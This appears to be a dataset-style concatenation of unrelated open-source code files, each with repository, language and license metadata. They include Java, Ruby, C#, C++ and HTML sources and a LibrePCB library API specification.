SR_TMOI_GradientDescent/Gradient_Descent_Challenge.cpp
C++
gpl-3.0
3,125
class AddExplicitExpirationToUnavailableFors < ActiveRecord::Migration[6.0] def change add_column :unavailable_as_candidate_fors, :expires_at, :datetime, index: true end end
greenriver/boston-cas
db/migrate/20200312133258_add_explicit_expiration_to_unavailable_fors.rb
Ruby
gpl-3.0
182
/** Copyright (C) 2014 www.cybersearch2.com.au This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/> */ package au.com.cybersearch2.classy_logic.tutorial18; import java.io.File; import au.com.cybersearch2.classy_logic.JavaTestResourceEnvironment; import au.com.cybersearch2.classy_logic.ProviderManager; import au.com.cybersearch2.classy_logic.QueryParams; import au.com.cybersearch2.classy_logic.QueryProgram; import au.com.cybersearch2.classy_logic.expression.ExpressionException; import au.com.cybersearch2.classy_logic.interfaces.SolutionHandler; import au.com.cybersearch2.classy_logic.parser.FileAxiomProvider; import au.com.cybersearch2.classy_logic.pattern.Axiom; import au.com.cybersearch2.classy_logic.query.QueryExecutionException; import au.com.cybersearch2.classy_logic.query.Solution; import au.com.cybersearch2.classy_logic.terms.Parameter; /** * ForeignColors * Demonstrates Choice selection terms consisting of local axiom terms for locale-sensitive matching of values. * The Choice selects a color swatch by name in the language of the locale. * @author Andrew Bowley * 17 Mar 2015 */ public class ForeignColors { static final String FOREIGN_LEXICON = "list<term> german_list(german.colors : resource);\n" + "list<term> french_list(french.colors : resource);\n" + "scope french (language=\"fr\", region=\"FR\"){}\n" + "scope german (language=\"de\", region=\"DE\"){}\n" + "axiom french.colors (aqua, black, blue, white)\n" + " {\"bleu vert\", \"noir\", \"bleu\", \"blanc\"};\n" + "axiom german.colors (aqua, black, blue, white)\n" + " {\"Wasser\", \"schwarz\", \"blau\", \"weiß\"};\n" + "query color_query (german.colors:german.colors) >> (french.colors:french.colors);\n"; static final String FOREIGN_COLORS = "axiom colors (aqua, black, blue, white);\n" + "axiom german.colors (aqua, black, blue, white) : resource;\n" + "axiom french.colors (aqua, black, blue, white) : resource;\n" + "local select(colors);\n" + "choice swatch (name, red, green, blue)\n" + "{select[aqua], 0, 255, 255}\n" + "{select[black], 0, 0, 0}\n" + "{select[blue], 0, 0, 255}\n" + "{select[white], 255, 255, 255};\n" + "axiom shade (name) : parameter;\n" + "scope french (language=\"fr\", region=\"FR\")\n" + "{\n" + " query color_query (shade : swatch);\n" + "}" + "scope german (language=\"de\", region=\"DE\")\n" + "{\n" + " query color_query (shade : swatch);\n" + "}"; /** ProviderManager is Axiom source for eXPL compiler */ private ProviderManager providerManager; private static FileAxiomProvider[] fileAxiomProviders; public ForeignColors() { providerManager = new ProviderManager(); File testPath = new File(JavaTestResourceEnvironment.DEFAULT_RESOURCE_LOCATION); if (!testPath.exists()) testPath.mkdir(); fileAxiomProviders = new FileAxiomProvider[2]; fileAxiomProviders[0] = new FileAxiomProvider("german.colors", testPath); fileAxiomProviders[1] = new FileAxiomProvider("french.colors", testPath); for (FileAxiomProvider provider: fileAxiomProviders) providerManager.putAxiomProvider(provider); } public void createForeignLexicon() { QueryProgram queryProgram = new QueryProgram(providerManager); queryProgram.parseScript(FOREIGN_LEXICON); try { queryProgram.executeQuery("color_query", new SolutionHandler(){ @Override public boolean onSolution(Solution solution) { System.out.println(solution.getAxiom("german.colors").toString()); System.out.println(solution.getAxiom("french.colors").toString()); return true; }}); } finally { fileAxiomProviders[0].close(); fileAxiomProviders[1].close(); } } /** * Compiles the GERMAN_COLORS script and runs the "color_query" query, displaying the solution on the console. * @return AxiomTermList iterator containing the final Calculator solution */ public String getColorSwatch(String language, String name) { QueryProgram queryProgram = new QueryProgram(providerManager); queryProgram.parseScript(FOREIGN_COLORS); // Create QueryParams object for Global scope and query "stamp_duty_query" QueryParams queryParams = queryProgram.getQueryParams(language, "color_query"); // Add a shade Axiom with a specified color term // This axiom goes into the Global scope and is removed at the start of the next query. Solution initialSolution = queryParams.getInitialSolution(); initialSolution.put("shade", new Axiom("shade", new Parameter("name", name))); final StringBuilder builder = new StringBuilder(); queryParams.setSolutionHandler(new SolutionHandler(){ @Override public boolean onSolution(Solution solution) { builder.append(solution.getAxiom("swatch").toString()); return true; }}); queryProgram.executeQuery(queryParams); return builder.toString(); } /** * Run tutorial * The expected result:<br/> colors(aqua = Wasser, black = schwarz, blue = blau, white = weiß)<br/> colors(aqua = bleu vert, black = noir, blue = bleu, white = blanc)<br/> swatch(name = Wasser, red = 0, green = 255, blue = 255)<br/> swatch(name = schwarz, red = 0, green = 0, blue = 0)<br/> swatch(name = weiß, red = 255, green = 255, blue = 255)<br/> swatch(name = blau, red = 0, green = 0, blue = 255)<br/> * @param args */ public static void main(String[] args) { try { ForeignColors foreignColors = new ForeignColors(); foreignColors.createForeignLexicon(); System.out.println(foreignColors.getColorSwatch("french", "bleu vert")); System.out.println(foreignColors.getColorSwatch("french", "noir")); System.out.println(foreignColors.getColorSwatch("french", "blanc")); System.out.println(foreignColors.getColorSwatch("french", "bleu")); System.out.println(foreignColors.getColorSwatch("german", "Wasser")); System.out.println(foreignColors.getColorSwatch("german", "schwarz")); System.out.println(foreignColors.getColorSwatch("german", "weiß")); System.out.println(foreignColors.getColorSwatch("german", "blau")); } catch (ExpressionException e) { e.printStackTrace(); System.exit(1); } catch (QueryExecutionException e) { e.printStackTrace(); System.exit(1); } finally { fileAxiomProviders[0].close(); fileAxiomProviders[1].close(); } System.exit(0); } }
andrew-bowley/xpl
tutorial/src/main/java/au/com/cybersearch2/classy_logic/tutorial18/ForeignColors.java
Java
gpl-3.0
7,706
/* Copyright 2015 Philipp Adam, Manuel Caspari, Nicolas Lukaschek contact@ravenapp.org This file is part of Raven. Raven is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Raven is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Raven. If not, see <http://www.gnu.org/licenses/>. */ package hash; import java.security.SecureRandom; import org.spongycastle.crypto.generators.SCrypt; public class ScryptTool { public static byte [] hash(byte [] plain, byte [] salt){ return SCrypt.generate(plain, salt, 16384, 8, 1, 64); // Colin Percival default values } public static byte [] hash(String plain, String salt){ return SCrypt.generate(plain.getBytes(), salt.getBytes(), 16384, 8, 1, 64); // Colin Percival default values } public static byte [] hashLow(byte [] plain, byte [] salt){ return SCrypt.generate(plain, salt, 8192, 8, 1, 64); } public static byte [] hashLow(String plain, String salt){ return SCrypt.generate(plain.getBytes(), salt.getBytes(), 8192, 8, 1, 64); } public static byte [] hashUltraLow(byte [] plain, byte [] salt){ return SCrypt.generate(plain, salt, 4096, 8, 1, 64); // } public static byte [] hashUltraLow(String plain, String salt){ return SCrypt.generate(plain.getBytes(), salt.getBytes(), 4096, 8, 1, 64); } public static byte [] generateSalt(int length){ byte [] erg = new byte[length]; SecureRandom random = new SecureRandom(); random.nextBytes(erg); return erg; } }
manuelsc/Raven-Messenger
Raven Core/src/hash/ScryptTool.java
Java
gpl-3.0
1,890
package cn.ac.rcpa.bio.proteomics.filter; import cn.ac.rcpa.bio.proteomics.IIdentifiedPeptide; import cn.ac.rcpa.bio.proteomics.IIdentifiedPeptideHit; import cn.ac.rcpa.filter.IFilter; public class IdentifiedPeptideHitFilterByPeptideFilter implements IFilter<IIdentifiedPeptideHit> { private IFilter<IIdentifiedPeptide> pepFilter; public IdentifiedPeptideHitFilterByPeptideFilter(IFilter<IIdentifiedPeptide> pepFilter) { this.pepFilter = pepFilter; } public boolean accept(IIdentifiedPeptideHit e) { return e.getPeptideCount() > 0 && pepFilter.accept(e.getPeptide(0)); } public String getType() { return pepFilter.getType(); } }
shengqh/RcpaBioJava
src/cn/ac/rcpa/bio/proteomics/filter/IdentifiedPeptideHitFilterByPeptideFilter.java
Java
gpl-3.0
695
package it.unibas.lunatic.test.mc.dbms.basicscenario; import it.unibas.lunatic.Scenario; import it.unibas.lunatic.model.chase.chasemc.operators.ChaseMCScenario; import it.unibas.lunatic.model.chase.chasemc.DeltaChaseStep; import it.unibas.lunatic.model.chase.commons.operators.ChaserFactoryMC; import it.unibas.lunatic.test.References; import it.unibas.lunatic.test.UtilityTest; import it.unibas.lunatic.test.checker.CheckExpectedSolutionsTest; import junit.framework.Assert; import org.slf4j.Logger; import org.slf4j.LoggerFactory; public class TestSQLPersons extends CheckExpectedSolutionsTest { private static Logger logger = LoggerFactory.getLogger(TestSQLPersons.class); public void testScenarioNoPermutation() throws Exception { Scenario scenario = UtilityTest.loadScenarioFromResources(References.persons_dbms, true); setConfigurationForTest(scenario); scenario.getCostManagerConfiguration().setDoBackward(false); scenario.getCostManagerConfiguration().setDoPermutations(false); ChaseMCScenario chaser = ChaserFactoryMC.getChaser(scenario); DeltaChaseStep result = chaser.doChase(scenario); if (logger.isDebugEnabled()) logger.debug("Scenario " + getTestName("persons", scenario)); if (logger.isDebugEnabled()) logger.debug(result.toStringWithSort()); if (logger.isDebugEnabled()) logger.debug("Number of solutions: " + resultSizer.getPotentialSolutions(result)); if (logger.isDebugEnabled()) logger.debug("Number of duplicate solutions: " + resultSizer.getDuplicates(result)); Assert.assertEquals(1, resultSizer.getPotentialSolutions(result)); checkSolutions(result); checkExpectedSolutions("expected-nop", result); } public void testScenario() throws Exception { Scenario scenario = UtilityTest.loadScenarioFromResources(References.persons_dbms, true); if (logger.isDebugEnabled()) logger.debug(scenario.toString()); setConfigurationForTest(scenario); ChaseMCScenario chaser = ChaserFactoryMC.getChaser(scenario); DeltaChaseStep result = chaser.doChase(scenario); // if (logger.isDebugEnabled()) logger.debug("Scenario " + getTestName("persons", scenario)); if (logger.isDebugEnabled()) logger.debug(scenario.toString()); if (logger.isDebugEnabled()) logger.debug(result.toStringWithSort()); if (logger.isDebugEnabled()) logger.debug("Number of solutions: " + resultSizer.getPotentialSolutions(result)); if (logger.isDebugEnabled()) logger.debug("Number of duplicate solutions: " + resultSizer.getDuplicates(result)); Assert.assertEquals(9, resultSizer.getPotentialSolutions(result)); checkSolutions(result); checkExpectedSolutions("expectedPersons", result); } public void testScenarioNoPermutationNonSymmetric() throws Exception { Scenario scenario = UtilityTest.loadScenarioFromResources(References.persons_dbms, true); setConfigurationForTest(scenario); scenario.getConfiguration().setUseSymmetricOptimization(false); scenario.getCostManagerConfiguration().setDoBackward(false); scenario.getCostManagerConfiguration().setDoPermutations(false); ChaseMCScenario chaser = ChaserFactoryMC.getChaser(scenario); DeltaChaseStep result = chaser.doChase(scenario); if (logger.isDebugEnabled()) logger.debug("Scenario " + getTestName("persons", scenario)); if (logger.isDebugEnabled()) logger.debug(result.toStringWithSort()); if (logger.isDebugEnabled()) logger.debug("Number of solutions: " + resultSizer.getPotentialSolutions(result)); if (logger.isDebugEnabled()) logger.debug("Number of duplicate solutions: " + resultSizer.getDuplicates(result)); Assert.assertEquals(1, resultSizer.getPotentialSolutions(result)); checkSolutions(result); checkExpectedSolutions("expected-nop", result); } public void testScenarioNonSymmetric() throws Exception { Scenario scenario = UtilityTest.loadScenarioFromResources(References.persons_dbms, true); if (logger.isDebugEnabled()) logger.debug(scenario.toString()); setConfigurationForTest(scenario); scenario.getConfiguration().setUseSymmetricOptimization(false); ChaseMCScenario chaser = ChaserFactoryMC.getChaser(scenario); DeltaChaseStep result = chaser.doChase(scenario); if (logger.isDebugEnabled()) logger.debug(scenario.toString()); if (logger.isDebugEnabled()) logger.debug(result.toStringWithSort()); if (logger.isDebugEnabled()) logger.debug("Number of solutions: " + resultSizer.getPotentialSolutions(result)); if (logger.isDebugEnabled()) logger.debug("Number of duplicate solutions: " + resultSizer.getDuplicates(result)); Assert.assertEquals(9, resultSizer.getPotentialSolutions(result)); checkSolutions(result); checkExpectedSolutions("expectedPersons", result); } }
donatellosantoro/Llunatic
lunaticEngine/test/it/unibas/lunatic/test/mc/dbms/basicscenario/TestSQLPersons.java
Java
gpl-3.0
4,992
/* * JasperReports - Free Java Reporting Library. * Copyright (C) 2001 - 2014 TIBCO Software Inc. All rights reserved. * http://www.jaspersoft.com * * Unless you have purchased a commercial license agreement from Jaspersoft, * the following license terms apply: * * This program is part of JasperReports. * * JasperReports is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * JasperReports is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with JasperReports. If not, see <http://www.gnu.org/licenses/>. */ package net.sf.jasperreports.engine.export.ooxml; import java.io.Writer; import java.util.List; import net.sf.jasperreports.engine.JRStyle; import net.sf.jasperreports.engine.JasperPrint; import net.sf.jasperreports.engine.JasperReportsContext; import net.sf.jasperreports.engine.design.JRDesignStyle; import net.sf.jasperreports.engine.util.JRDataUtils; import net.sf.jasperreports.engine.util.JRStyleResolver; import net.sf.jasperreports.export.ExporterInput; import net.sf.jasperreports.export.ExporterInputItem; /** * @author Teodor Danciu (teodord@users.sourceforge.net) */ public class DocxStyleHelper extends BaseHelper { /** * */ private DocxParagraphHelper paragraphHelper; private DocxRunHelper runHelper; /** * */ public DocxStyleHelper(JasperReportsContext jasperReportsContext, Writer writer, String exporterKey) { super(jasperReportsContext, writer); paragraphHelper = new DocxParagraphHelper(jasperReportsContext, writer, false); runHelper = new DocxRunHelper(jasperReportsContext, writer, exporterKey); } /** * */ public void export(ExporterInput exporterInput) { write("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n"); write("<w:styles\n"); write(" xmlns:r=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships\"\n"); write(" xmlns:w=\"http://schemas.openxmlformats.org/wordprocessingml/2006/main\">\n"); write(" <w:docDefaults>\n"); write(" <w:rPrDefault>\n"); //write(" <w:rPr>\n"); //write(" <w:rFonts w:ascii=\"Times New Roman\" w:eastAsia=\"Times New Roman\" w:hAnsi=\"Times New Roman\" w:cs=\"Times New Roman\"/>\n"); //write(" </w:rPr>\n"); write(" </w:rPrDefault>\n"); write(" <w:pPrDefault>\n"); write(" <w:pPr>\n"); write(" <w:spacing w:line=\"" + DocxParagraphHelper.LINE_SPACING_FACTOR + "\"/>\n"); write(" </w:pPr>\n"); write(" </w:pPrDefault>\n"); write(" </w:docDefaults>\n"); List<ExporterInputItem> items = exporterInput.getItems(); for(int reportIndex = 0; reportIndex < items.size(); reportIndex++) { ExporterInputItem item = items.get(reportIndex); JasperPrint jasperPrint = item.getJasperPrint(); String localeCode = jasperPrint.getLocaleCode(); if (reportIndex == 0) { JRDesignStyle style = new JRDesignStyle(); style.setName("EMPTY_CELL_STYLE"); style.setParentStyle(jasperPrint.getDefaultStyle()); style.setFontSize(0f); exportHeader(style); paragraphHelper.exportProps(style); runHelper.exportProps(style, (localeCode == null ? null : JRDataUtils.getLocale(localeCode)));//FIXMEDOCX reuse exporter exportFooter(); } JRStyle[] styles = jasperPrint.getStyles(); if (styles != null) { for(int i = 0; i < styles.length; i++) { JRStyle style = styles[i]; exportHeader(style); paragraphHelper.exportProps(style); runHelper.exportProps(style, (localeCode == null ? null : JRDataUtils.getLocale(localeCode)));//FIXMEDOCX reuse exporter exportFooter(); } } } write("</w:styles>\n"); } /** * */ private void exportHeader(JRStyle style) { //write(" <w:style w:type=\"paragraph\" w:default=\"1\" w:styleId=\"" + style.getName() + "\">\n"); write(" <w:style w:type=\"paragraph\" w:styleId=\"" + style.getName() + "\""); if (style.isDefault()) { write(" w:default=\"1\""); } write(">\n"); write(" <w:name w:val=\"" + style.getName() + "\" />\n"); write(" <w:qFormat />\n"); JRStyle baseStyle = JRStyleResolver.getBaseStyle(style); String styleNameReference = baseStyle == null ? null : baseStyle.getName(); //javadoc says getStyleNameReference is not supposed to work for print elements if (styleNameReference != null) { write(" <w:basedOn w:val=\"" + styleNameReference + "\" />\n"); } } /** * */ private void exportFooter() { write(" </w:style>\n"); } }
aleatorio12/ProVentasConnector
jasperreports-6.2.1-project/jasperreports-6.2.1/src/net/sf/jasperreports/engine/export/ooxml/DocxStyleHelper.java
Java
gpl-3.0
4,862
using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace Cereal64.Common.Rom { interface IXMLRomProjectItem { string GetXMLName(); string GetXMLPath(); } }
mib-f8sm9c/Cereal64
Common/Rom/IXMLRomProjectItem.cs
C#
gpl-3.0
228
Server API Specification {#doc_server_api} ========================================== [TOC] LibrePCB provides an API at [api.librepcb.org](https://api.librepcb.org) which is used by the LibrePCB application, for example to fetch the latest libraries. The API uses JSON for responses. # URL {#doc_server_api_url} An API URL consists of following parts: | Part | Description | Example | |---------------|--------------------------------|--------------------------| | `<BASE>` | Base URL of API server | https://api.librepcb.org | | `/api` | Base path of API | `/api` | | `/<VERSION>` | API version number | `/v1` | | `/<RESOURCE>` | Path to the requested resource | `/libraries/v0.1` | The base URL of the official API server is https://api.librepcb.org/, but for your own API server you can use any other base URL. This is the URL which must be specified in the workspace settings of LibrePCB. Currently the only available API version is `v1`, but in future there might be newer API specifications available with higher version numbers. Because the version number is part of the URL, a server could support multiple API versions at the same time. ## Example **Request the list of libraries:** ~~~{.sh} curl 'https://api.librepcb.org/api/v1/libraries/v0.1' ~~~ # Pagination {#doc_server_api_pagination} The API uses pagination (i.e. splitting large responses across several shorter responses) to keep the response time of requests short. A paginated response contains following JSON entries: | Key | Type | Description | |-----------|-----------|----------------------------------------------| | count | integer | Total count of results over all pages | | next | string | URL of next page (`null` for last page) | | previous | string | URL of previous page (`null` for first page) | | results | list | The actual response objects | ## Example Here an example how a paginated response looks like: **Request:** ~~~{.sh} curl 'https://api.librepcb.org/api/v1/libraries/v0.1' ~~~ **Response:** ~~~{.json} { "count": 42, "next": "https://api.librepcb.org/api/v1/libraries/v0.1?page=2", "previous": null, "results": [ ... ] } ~~~ # Available Resources {#doc_server_api_resources} Following resources are available: | Path | Description | |--------------|-----------------------------------| | [/libraries] | Fetch list of available libraries | ## Libraries {#doc_server_api_resources_libraries} The resource path `/libraries` is used to fetch the list of all available libraries. It is used in the LibrePCB Library Manager to list and download libraries. The file format version of the application needs to be appended to the path to fetch only libraries with compatible file format. For example if the application uses file format version `0.1`, use the path `/api/v1/libraries/v0.1`. Note that the response can still contain libraries with a file format older than the specified one. But it will never contain libraries with a newer file format. The response is a list of objects with following properties: | Name | Type | Description | |-----------------------|---------|-------------------------------------------------------| | uuid | string | UUID of the library (from `library.lp`) | | name | object | Library name, multilingual (from `library.lp`) | | description | object | Library description, multilingual (from `library.lp`) | | keywords | object | Library keywords, multilingual (from `library.lp`) | | author | string | Author of the library (from `library.lp`) | | version | string | Version of the library (from `library.lp`) | | deprecated | boolean | Deprecated flag (from `library.lp`) | | url | string | URL of library (from `library.lp`) | | dependencies | list | List of dependent library UUIDs (from `library.lp`) | | component_categories | integer | Count of contained component categories | | package_categories | integer | Count of contained package categories | | symbols | integer | Count of contained symbols | | packages | integer | Count of contained packages | | components | integer | Count of contained components | | devices | integer | Count of contained devices | | recommended | boolean | Whether the library is recommended to install | | updated_at | string | [ISO 8601] datetime of last update | | format_version | string | File format of the library (from `.librepcb-lib`) | | icon_url | string | URL to library icon (`null` if N/A) | | download_url | string | URL to file for downloading the library (*.zip) | | download_size | integer | Size of file to download in bytes (`null` if unknown) | | download_sha256 | string | SHA256 of file to download (`null` if unknown) | ### Example **Request:** ~~~{.sh} curl 'https://api.librepcb.org/api/v1/libraries/v0.1' ~~~ **Response (without pagination):** ~~~{.json} [ { "uuid": "e3ce49bf-e959-4092-8b48-aeead756f8d1", "name": { "default": "Molex", "en_US": "Molex" }, "description": { "default": "Connectors, Sockets and more" }, "keywords": { "default": "connector,molex" }, "author": "LibrePCB", "version": "0.0.1", "deprecated": false, "url": "https://github.com/LibrePCB-Libraries/Molex.lplib", "dependencies": [ "a9ddf0c6-9b1c-4730-b300-01b4f192ad40", "6ccc516c-21b7-4cd5-9cf2-7a04cfa361c6" ], "component_categories": 13, "package_categories": 37, "symbols": 123, "packages": 321, "components": 42, "devices": 0, "recommended": false, "updated_at": "2018-04-13T12:43:52Z", "format_version": "0.1", "icon_url": "https://github.com/LibrePCB-Libraries/Molex.lplib/raw/master/library.png", "download_url": "https://github.com/LibrePCB-Libraries/Molex.lplib/archive/master.zip", "download_size": null, "download_sha256": null, } ] ~~~ [/libraries]: @ref doc_server_api_resources_libraries [ISO 8601]: https://en.wikipedia.org/wiki/ISO_8601
rnestler/LibrePCB
dev/doxygen/pages/server_api.md
Markdown
gpl-3.0
6,782
package com.cloudera.cmf.service.config; import com.cloudera.cmf.service.ServiceDataProvider; import com.cloudera.cmf.service.ServiceHandlerRegistry; import com.cloudera.cmf.service.hdfs.DfsConnector; import com.cloudera.cmf.service.hdfs.HdfsParams; import com.google.common.collect.ImmutableList; import java.util.List; public class DefaultFsEvaluator extends AbstractGenericConfigEvaluator { public DefaultFsEvaluator() { super(null, HdfsParams.FS_DEFAULT_PROPERTY_NAMES); } protected List<EvaluatedConfig> evaluateConfig(ConfigEvaluationContext context, String propertyName) throws ConfigGenException { ServiceHandlerRegistry shr = context.getSdp().getServiceHandlerRegistry(); DfsConnector dfsConnector = (DfsConnector)ConfigEvaluatorHelpers.getCurrentOrDependencyConnector(shr, context.getService(), DfsConnector.TYPE); return ImmutableList.of(new EvaluatedConfig(propertyName, dfsConnector.getDefaultFS())); } }
Mapleroid/cm-server
server-5.11.0.src/com/cloudera/cmf/service/config/DefaultFsEvaluator.java
Java
gpl-3.0
977
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Search &#8212; kumpel 0.11 documentation</title> <link rel="stylesheet" href="_static/alabaster.css" type="text/css" /> <link rel="stylesheet" href="_static/pygments.css" type="text/css" /> <script type="text/javascript"> var DOCUMENTATION_OPTIONS = { URL_ROOT: './', VERSION: '0.11', COLLAPSE_INDEX: false, FILE_SUFFIX: '.html', HAS_SOURCE: true, SOURCELINK_SUFFIX: '.txt' }; </script> <script type="text/javascript" src="_static/jquery.js"></script> <script type="text/javascript" src="_static/underscore.js"></script> <script type="text/javascript" src="_static/doctools.js"></script> <script type="text/javascript" src="_static/searchtools.js"></script> <link rel="index" title="Index" href="genindex.html" /> <link rel="search" title="Search" href="#" /> <script type="text/javascript"> jQuery(function() { Search.loadIndex("searchindex.js"); }); </script> <script type="text/javascript" id="searchindexloader"></script> <link rel="stylesheet" href="_static/custom.css" type="text/css" /> <meta name="viewport" content="width=device-width, initial-scale=0.9, maximum-scale=0.9" /> </head> <body role="document"> <div class="document"> <div class="documentwrapper"> <div class="bodywrapper"> <div class="body" role="main"> <h1 id="search-documentation">Search</h1> <div id="fallback" class="admonition warning"> <script type="text/javascript">$('#fallback').hide();</script> <p> Please activate JavaScript to enable the search functionality. </p> </div> <p> From here you can search these documents. Enter your search words into the box below and click "search". Note that the search function will automatically search for all of the words. Pages containing fewer words won't appear in the result list. </p> <form action="" method="get"> <input type="text" name="q" value="" /> <input type="submit" value="search" /> <span id="search-progress" style="padding-left: 10px"></span> </form> <div id="search-results"> </div> </div> </div> </div> <div class="sphinxsidebar" role="navigation" aria-label="main navigation"> <div class="sphinxsidebarwrapper"><div class="relations"> <h3>Related Topics</h3> <ul> <li><a href="index.html">Documentation overview</a><ul> </ul></li> </ul> </div> </div> </div> <div class="clearer"></div> </div> <div class="footer"> &copy;2017, Avram Dames. | Powered by <a href="http://sphinx-doc.org/">Sphinx 1.5.3</a> &amp; <a href="https://github.com/bitprophet/alabaster">Alabaster 0.7.10</a> </div> </body> </html>
aviDms/kumpel
docs/_build/html/search.html
HTML
gpl-3.0
3,105
/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /************************************************************************* * * The Contents of this file are made available subject to the terms of * the BSD license. * * Copyright 2000, 2010 Oracle and/or its affiliates. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. Neither the name of Sun Microsystems, Inc. nor the names of its * contributors may be used to endorse or promote products derived * from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * *************************************************************************/ // SOComWindowPeer.h: Definition of the SOComWindowPeer class #ifndef __SOCOMWINDOWPEER_H_ #define __SOCOMWINDOWPEER_H_ #if _MSC_VER > 1000 #pragma once #endif // _MSC_VER > 1000 #include "resource.h" #include <ExDispID.h> #include <ExDisp.h> #include <shlguid.h> #include <atlctl.h> #include "so_activex.h" // SOComWindowPeer class SOComWindowPeer : public IDispatchImpl<ISOComWindowPeer, &IID_ISOComWindowPeer, &LIBID_SO_ACTIVEXLib>, public ISupportErrorInfo, public CComObjectRoot, public CComCoClass<SOComWindowPeer,&CLSID_SOComWindowPeer> { HWND m_hwnd; public: SOComWindowPeer() : m_hwnd( NULL ) {} BEGIN_COM_MAP(SOComWindowPeer) COM_INTERFACE_ENTRY(IDispatch) COM_INTERFACE_ENTRY(ISOComWindowPeer) COM_INTERFACE_ENTRY(ISupportErrorInfo) END_COM_MAP() DECLARE_NOT_AGGREGATABLE(SOComWindowPeer) // Remove the comment from the line above if you don't want your object to // support aggregation. DECLARE_REGISTRY_RESOURCEID(IDR_SOCOMWINDOWPEER) // ISupportsErrorInfo STDMETHOD(InterfaceSupportsErrorInfo)(REFIID riid); // ISOComWindowPeer virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE getWindowHandle( /* [in] */ SAFEARRAY __RPC_FAR * procId, /* [in] */ short s, /* [retval][out] */ long __RPC_FAR *ret) { *ret = (long) m_hwnd; return S_OK; } virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE getToolkit( /* [retval][out] */ IDispatch __RPC_FAR *__RPC_FAR *retVal) { *retVal = NULL; return S_OK; } virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE setPointer( /* [in] */ IDispatch __RPC_FAR *xPointer) { return S_OK; } virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE setBackground( /* [in] */ int nColor) { return S_OK; } virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE invalidate( /* [in] */ short __MIDL_0015) { return S_OK; } virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE invalidateRect( /* [in] */ IDispatch __RPC_FAR *aRect, /* [in] */ short nFlags) { return S_OK; } virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE dispose( void) { return S_OK; } virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE addEventListener( /* [in] */ IDispatch __RPC_FAR *xListener) { return S_OK; } virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE removeEventListener( /* [in] */ IDispatch __RPC_FAR *xListener) { return S_OK; } virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_Bridge_implementedInterfaces( /* [retval][out] */ SAFEARRAY __RPC_FAR * __RPC_FAR *pVal) { *pVal = SafeArrayCreateVector( VT_BSTR, 0, 2 ); if( !*pVal ) return E_FAIL; long ix = 0; CComBSTR aInterface( OLESTR( "com.sun.star.awt.XSystemDependentWindowPeer" ) ); SafeArrayPutElement( *pVal, &ix, aInterface ); ix = 1; aInterface = CComBSTR( OLESTR( "com.sun.star.awt.XWindowPeer" ) ); SafeArrayPutElement( *pVal, &ix, aInterface ); return S_OK; } void SetHWNDInternally( HWND hwnd ) { m_hwnd = hwnd; } }; #endif // __SOCOMWINDOWPEER_H_ /* vim:set shiftwidth=4 softtabstop=4 expandtab: */
qt-haiku/LibreOffice
odk/examples/OLE/activex/SOComWindowPeer.h
C
gpl-3.0
5,612
